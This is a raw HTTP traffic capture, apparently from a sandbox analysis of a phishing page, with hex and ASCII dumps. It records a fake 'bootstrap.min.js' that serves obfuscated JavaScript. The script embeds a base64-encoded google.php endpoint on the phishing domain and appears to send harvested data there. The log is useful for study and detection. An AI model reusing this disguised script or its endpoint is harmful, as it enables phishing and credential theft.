this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C
2025-03-18 12:42:39 UTC	1369	IN	Data Raw: 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 Data Ascii: d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).remov
2025-03-18 12:42:39 UTC	1369	IN	Data Raw: 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 Data Ascii: TA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse"

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:40 UTC	713	OUT	GET /bootstrap.min.js HTTP/1.1 Host: 1674039279-1317754460.cos.ap-singapore.myqcloud.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://bonsoiree.mareanebulosasao.it.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:40 UTC	502	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 549832 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Tue, 18 Mar 2025 12:42:40 GMT ETag: "4aa8f7db6480fca82cd3f65b26f16875" Last-Modified: Mon, 17 Mar 2025 16:38:46 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 16101378350175893907 x-cos-request-id: NjdkOTZhNDBfNzJjZjc4MGJfYTljOV9iMWZiNjJl x-cos-storage-class: MAZ_STANDARD x-cosindex-replication-status: Complete
2025-03-18 12:42:40 UTC	7702	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 69 61 6e 4e 36 4c 6d 31 68 63 6d 56 68 62 6d 56 69 64 57 78 76 63 32 46 7a 59 57 38 75 61 58 51 75 59 32 39 74 4c 32 64 76 62 32 64 73 5a 53 35 77 61 48 41 3d 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 38 36 38 34 39 3d 5f 30 78 33 35 32 39 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 38 36 65 38 31 2c 5f 30 78 33 38 30 61 63 62 29 7b 76 61 72 20 5f 30 78 33 34 61 31 31 63 3d 5f 30 78 33 35 32 39 2c 5f 30 78 65 66 30 65 32 33 3d 5f 30 78 31 38 36 65 38 31 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 5f 30 78 35 33 35 61 34 39 3d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 34 61 31 31 63 28 30 78 32 61 39 29 29 2f 28 30 78 31 65 33 31 2b 30 78 31 33 34 2a 2d 30 78 31 36 Data Ascii: var file = "aHR0cHM6Ly9ianN6Lm1hcmVhbmVidWxvc2FzYW8uaXQuY29tL2dvb2dsZS5waHA=";var _0x586849=_0x3529;(function(_0x186e81,_0x380acb){var _0x34a11c=_0x3529,_0xef0e23=_0x186e81();while(!![]){try{var _0x535a49=parseInt(_0x34a11c(0x2a9))/(0x1e31+0x134*-0x16
2025-03-18 12:42:40 UTC	16368	IN	Data Raw: 31 30 61 34 29 5d 28 5f 30 78 31 33 32 32 35 35 5b 5f 30 78 31 64 36 35 32 37 28 30 78 31 32 64 62 29 5d 2c 5f 30 78 32 33 34 35 30 35 29 2c 27 64 61 74 61 54 79 70 65 27 3a 5f 30 78 31 33 32 32 35 35 5b 5f 30 78 31 64 36 35 32 37 28 30 78 64 33 31 29 5d 2c 27 73 75 63 63 65 73 73 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 65 64 38 34 61 29 7b 76 61 72 20 5f 30 78 33 62 31 63 37 34 3d 5f 30 78 31 64 36 35 32 37 3b 69 66 28 5f 30 78 31 33 32 32 35 35 5b 5f 30 78 33 62 31 63 37 34 28 30 78 34 62 64 29 5d 28 5f 30 78 34 65 64 38 34 61 5b 5f 30 78 33 62 31 63 37 34 28 30 78 32 39 66 29 5d 2c 5f 30 78 31 33 32 32 35 35 5b 5f 30 78 33 62 31 63 37 34 28 30 78 31 62 37 31 29 5d 29 29 7b 76 61 72 20 5f 30 78 33 32 61 36 63 32 3d 5f 30 78 31 33 32 32 35 35 5b 5f Data Ascii: 10a4)](_0x132255[_0x1d6527(0x12db)],_0x234505),'dataType':_0x132255[_0x1d6527(0xd31)],'success':function(_0x4ed84a){var _0x3b1c74=_0x1d6527;if(_0x132255[_0x3b1c74(0x4bd)](_0x4ed84a[_0x3b1c74(0x29f)],_0x132255[_0x3b1c74(0x1b71)])){var _0x32a6c2=_0x132255[_
2025-03-18 12:42:40 UTC	8184	IN	Data Raw: 2b 5f 30 78 32 37 65 66 36 63 28 30 78 63 38 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 61 63 62 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 63 61 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 30 64 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 37 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 37 64 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 32 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 37 31 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 37 37 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 32 34 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 62 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 66 39 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 66 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 31 37 29 2b 5f 30 78 32 37 65 66 Data Ascii: +_0x27ef6c(0xc83)+_0x27ef6c(0x1acb)+_0x27ef6c(0xcad)+_0x27ef6c(0x20d3)+_0x27ef6c(0x137a)+_0x27ef6c(0x7d0)+_0x27ef6c(0x1323)+_0x27ef6c(0x271d)+_0x27ef6c(0x779)+_0x27ef6c(0x1249)+_0x27ef6c(0x13b4)+_0x27ef6c(0x1f9e)+_0x27ef6c(0x1bf3)+_0x27ef6c(0x117)+_0x27ef
2025-03-18 12:42:40 UTC	8184	IN	Data Raw: 36 63 28 30 78 31 35 32 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 30 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 37 36 29 29 2b 28 5f 30 78 32 37 65 66 36 63 28 30 78 64 30 38 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 64 32 35 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 64 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 63 30 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 35 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 31 63 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 30 61 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 32 62 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 64 30 38 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 65 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 36 62 37 Data Ascii: 6c(0x1526)+_0x27ef6c(0x202)+_0x27ef6c(0x176))+(_0x27ef6c(0xd08)+_0x27ef6c(0x1d25)+_0x27ef6c(0x4d9)+_0x27ef6c(0x1c00)+_0x27ef6c(0x1e9)+_0x27ef6c(0x2353)+_0x27ef6c(0x11c7)+_0x27ef6c(0x20aa)+_0x27ef6c(0x152b)+_0x27ef6c(0xd08)+_0x27ef6c(0x4ef)+_0x27ef6c(0x6b7
2025-03-18 12:42:40 UTC	8184	IN	Data Raw: 36 66 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 38 64 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 66 35 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 30 36 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 38 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 61 62 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 36 37 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 62 62 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 61 34 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 64 62 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 38 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 32 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 35 36 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 30 33 35 29 2b 5f 30 Data Ascii: 6f6)+_0x27ef6c(0x18df)+_0x27ef6c(0x28f5)+_0x27ef6c(0x1069)+_0x27ef6c(0x1586)+_0x27ef6c(0x1ba)+_0x27ef6c(0x2ab7)+_0x27ef6c(0x677)+_0x27ef6c(0x28bb)+_0x27ef6c(0xa49)+_0x27ef6c(0x1db6)+_0x27ef6c(0x2687)+_0x27ef6c(0x2820)+_0x27ef6c(0x56d)+_0x27ef6c(0x2035)+_0
2025-03-18 12:42:40 UTC	8184	IN	Data Raw: 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 39 32 62 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 62 39 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 38 34 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 37 30 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 61 30 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 66 35 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 34 64 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 30 63 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 66 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 33 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 31 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 66 37 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 31 32 36 29 2b 5f 30 78 32 37 Data Ascii: )+_0x27ef6c(0x292b)+_0x27ef6c(0xb91)+_0x27ef6c(0x1844)+_0x27ef6c(0x270f)+_0x27ef6c(0x2a0c)+_0x27ef6c(0xf52)+_0x27ef6c(0x14d7)+_0x27ef6c(0x1ba)+_0x27ef6c(0x10ce)+_0x27ef6c(0x4fe)+_0x27ef6c(0x1e31)+_0x27ef6c(0x1b1c)+_0x27ef6c(0x1f70)+_0x27ef6c(0x1126)+_0x27
2025-03-18 12:42:40 UTC	8184	IN	Data Raw: 61 35 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 62 31 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 39 36 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 38 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 32 61 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 61 30 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 61 63 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 37 32 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 66 64 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 31 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 65 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 36 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 64 32 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 33 35 33 29 29 2b 28 5f 30 78 32 37 65 66 36 63 28 30 78 33 62 33 29 2b 5f 30 78 32 Data Ascii: a5)+_0x27ef6c(0xb11)+_0x27ef6c(0x196e)+_0x27ef6c(0x87)+_0x27ef6c(0x22a9)+_0x27ef6c(0x2a04)+_0x27ef6c(0x2acd)+_0x27ef6c(0x723)+_0x27ef6c(0xfd4)+_0x27ef6c(0x1b1f)+_0x27ef6c(0x1ee7)+_0x27ef6c(0x1b69)+_0x27ef6c(0x1d26)+_0x27ef6c(0x353))+(_0x27ef6c(0x3b3)+_0x2
2025-03-18 12:42:40 UTC	8184	IN	Data Raw: 5f 30 78 32 37 65 66 36 63 28 30 78 31 39 66 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 64 34 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 36 38 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 38 66 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 37 36 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 35 37 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 34 64 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 34 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 35 61 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 34 30 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 34 36 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 61 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 36 33 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 62 31 29 2b 5f 30 78 32 37 65 66 Data Ascii: _0x27ef6c(0x19fa)+_0x27ef6c(0xd4c)+_0x27ef6c(0x1368)+_0x27ef6c(0x18f6)+_0x27ef6c(0x2766)+_0x27ef6c(0x57f)+_0x27ef6c(0x24dd)+_0x27ef6c(0x134f)+_0x27ef6c(0x25ad)+_0x27ef6c(0x240f)+_0x27ef6c(0x1464)+_0x27ef6c(0x28a1)+_0x27ef6c(0x639)+_0x27ef6c(0x4b1)+_0x27ef
2025-03-18 12:42:40 UTC	8184	IN	Data Raw: 31 62 63 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 34 65 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 30 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 34 30 62 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 35 62 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 35 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 64 61 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 30 38 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 34 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 37 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 39 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 63 32 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 66 35 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 38 39 29 2b 5f Data Ascii: 1bcd)+_0x27ef6c(0x14e1)+_0x27ef6c(0x150d)+_0x27ef6c(0x240b)+_0x27ef6c(0x25ba)+_0x27ef6c(0x2859)+_0x27ef6c(0x26e)+_0x27ef6c(0xda7)+_0x27ef6c(0x2308)+_0x27ef6c(0x2342)+_0x27ef6c(0x2671)+_0x27ef6c(0x1593)+_0x27ef6c(0x1c2a)+_0x27ef6c(0xf5d)+_0x27ef6c(0x189)+_
2025-03-18 12:42:40 UTC	8184	IN	Data Raw: 28 30 78 31 30 66 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 32 30 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 34 36 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 39 34 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 38 62 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 31 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 34 32 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 62 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 37 66 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 32 39 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 64 32 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 38 66 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 37 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 63 39 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 37 66 Data Ascii: (0x10f1)+_0x27ef6c(0x1207)+_0x27ef6c(0x246c)+_0x27ef6c(0x2949)+_0x27ef6c(0x8b7)+_0x27ef6c(0x2312)+_0x27ef6c(0x142c)+_0x27ef6c(0x28be)+_0x27ef6c(0x17f1)+_0x27ef6c(0x1291)+_0x27ef6c(0x1d2e)+_0x27ef6c(0x8fa)+_0x27ef6c(0x1579)+_0x27ef6c(0x1c92)+_0x27ef6c(0x7f

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:41 UTC	718	OUT	GET /dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png HTTP/1.1 Host: res.cloudinary.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://bonsoiree.mareanebulosasao.it.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:41 UTC	829	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:42:41 GMT Content-Type: image/png Content-Length: 21873 Connection: close CF-Ray: 9224cfba8ab63344-EWR Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, no-transform, immutable, max-age=2592000 ETag: "568f3323a159c49c955a6e9e5ce8ac4d" Last-Modified: Sat, 15 Mar 2025 15:34:29 GMT Strict-Transport-Security: max-age=604800 Vary: Accept-Encoding access-control-expose-headers: Content-Length,ETag,Server-Timing,Vary,x-content-type-options server-timing: cld-cloudflare;dur=18;start=2025-03-18T12:42:41.705Z;desc=hit,rtt;dur=2,content-info;desc="width=2016,height=2016,bytes=21873,format="png",o=1,crt=1742052868,ef=(17);" timing-allow-origin: * x-content-type-options: nosniff x-request-id: 66832d6d13078dacf529e15646e9e921 Server: cloudflare
2025-03-18 12:42:41 UTC	540	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 e0 00 00 07 e0 08 06 00 00 00 f6 b1 41 ec 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 20 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 30 2d 63 30 36 30 20 36 31 2e 31 33 34 37 37 37 2c 20 32 30 31 30 2f 30 32 2f 31 32 2d 31 37 3a 33 32 3a 30 30 20 20 Data Ascii: PNGIHDRAtEXtSoftwareAdobe ImageReadyqe< iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00
2025-03-18 12:42:41 UTC	1369	IN	Data Raw: 20 43 53 35 20 57 69 6e 64 6f 77 73 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 44 31 30 32 41 31 33 37 34 31 43 45 31 31 45 36 41 33 31 44 44 41 42 30 38 43 33 35 35 30 36 45 22 20 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 44 31 30 32 41 31 33 38 34 31 43 45 31 31 45 36 41 33 31 44 44 41 42 30 38 43 33 35 35 30 36 45 22 3e 20 3c 78 6d 70 4d 4d 3a 44 65 72 69 76 65 64 46 72 6f 6d 20 73 74 52 65 66 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 44 31 30 32 41 31 33 35 34 31 43 45 31 31 45 36 41 33 31 44 44 41 42 30 38 43 33 35 35 30 36 45 22 20 73 74 52 65 66 3a 64 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 44 31 30 32 41 31 33 36 34 31 43 45 31 31 45 Data Ascii: CS5 Windows" xmpMM:InstanceID="xmp.iid:D102A13741CE11E6A31DDAB08C35506E" xmpMM:DocumentID="xmp.did:D102A13841CE11E6A31DDAB08C35506E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D102A13541CE11E6A31DDAB08C35506E" stRef:documentID="xmp.did:D102A13641CE11E
2025-03-18 12:42:41 UTC	1369	IN	Data Raw: 64 63 f7 ee f1 e6 97 25 00 00 00 be 96 d5 85 ad b7 4b 80 8f 29 26 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 Data Ascii: dc%K)& @@<x @@<x @@<x
2025-03-18 12:42:41 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 Data Ascii: <x @@<x @@<x @@<
2025-03-18 12:42:41 UTC	1369	IN	Data Raw: 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 Data Ascii: <x @@<x @@<x @@
2025-03-18 12:42:41 UTC	1369	IN	Data Raw: 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 c0 2b 3b 77 8c d2 40 00 00 51 34 1b 52 2e 58 a4 11 72 09 0f 92 e3 79 17 3b 0b ab 94 76 62 23 96 16 b1 10 16 6c 0c eb 19 84 bf 60 d8 f7 8e 30 ed 87 01 00 80 